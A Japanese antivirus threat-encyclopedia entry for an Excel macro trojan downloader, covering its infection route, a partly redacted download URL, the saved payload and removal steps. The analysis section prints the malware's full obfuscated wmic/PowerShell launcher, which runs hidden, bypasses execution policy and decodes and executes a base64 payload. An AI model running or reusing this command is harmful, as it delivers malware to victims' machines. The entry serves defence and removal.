X2KM_POWLOAD.UHAOEFC
Trojan-Downloader.MSExcel.Agent.im (Kaspersky), VBA/TrojanDownloader.Agent.JEZ trojan (NOD32)
Windows
- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化: なし
- 感染報告の有無: はい
概要
マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
マルウェアは、ダウンロードしたファイルを実行します。
詳細
侵入方法
マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
ダウンロード活動
マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- http://{BLOCKED}ota.com/03062018
マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。
- %AppDataLocal%\{Random number}.exe - detected as TSPY_BEBLOH.YMNPS
(註:%AppDataLocal%フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\<ユーザ名>\Local Settings\Application Data"、Windows Vista および 7 の場合、"C:\Users\<ユーザ名>\AppData\Local" です。)
マルウェアは、ダウンロードしたファイルを実行します。
<補足>
ダウンロード活動
マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。このファイルは、TSPY_BEBLOH.YMNPS として検出されます。
- %AppDataLocal%\{Random number}.exe
その他
マルウェアは以下を実行します。
- 以下の内容を表示して、ユーザがマクロ機能を有効にするよう誘導します。
- マルウェアは、以下の wmicコマンドを使用して、不正なファイルをダウンロードして実行します。
wmic pRoCEss call CrEATe "powErsHell -wINDOWstYle HiddEn -NOlOGo -NoNINTeRAcT -noP -eXECUtI BYpass "\"( new-obJEcT SYStEm.Io.comPRession.dEflatesTrEAm( [Io.meMoRYsTREaM][system.CONVeRT]::frOMbAse64StRiNG( 'VY7BSsQwFAB/JYYiLdi0qyLSsoi4rgiyu7gHD+rhNXnQaJIXksdWEf/d6s37zDCGvrJDjOJ80Rcp+uUdcv0IwZDvC/KYxVI834aDTRQ8Bn7tuplYkzOYdsBjKR9Ig7uO0VkNbCmsgEFWfbnBqd4Ob6hZ7D8zo1cbZPWEw42zc6hSK5qCIzBr61DdhwO9YylH5tg1jcaB0RCD0uSb9qy9OG0Xl/JE/j29/J4q/EBZfU/jrJdHxVXVH+8ZEte7RBpzFv/RHw==' ) "\" + [StriNg][ChaR]44 +"\"[Io.ComPrESsiON.compRessioNmoDE]::dECOmPREss) | fOrEACH-OBJecT { new-obJEcT Io.stREamREADer( `$_"\" + [StriNg][ChaR]44 +"\" [sYstEM.tEXT.eNcoding]::ASciI )}).READtoEnD( )| .( `$ENV:CoMspEC[4"\" + [StriNg][ChaR]44 +"\"26"\" + [StriNg][ChaR]44 +"\"25]-jOIN'')"\" |&( $PshoME[21]+$psHOme[30]+'X')"
対応方法
手順 1
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
以下のファイルを検索し削除します。
- %AppDataLocal%\{Random number}.exe
手順 4
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「X2KM_POWLOAD.UHAOEFC」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
手順 5
Microsoft Office製品のマクロウイルス保護機能を有効にします。
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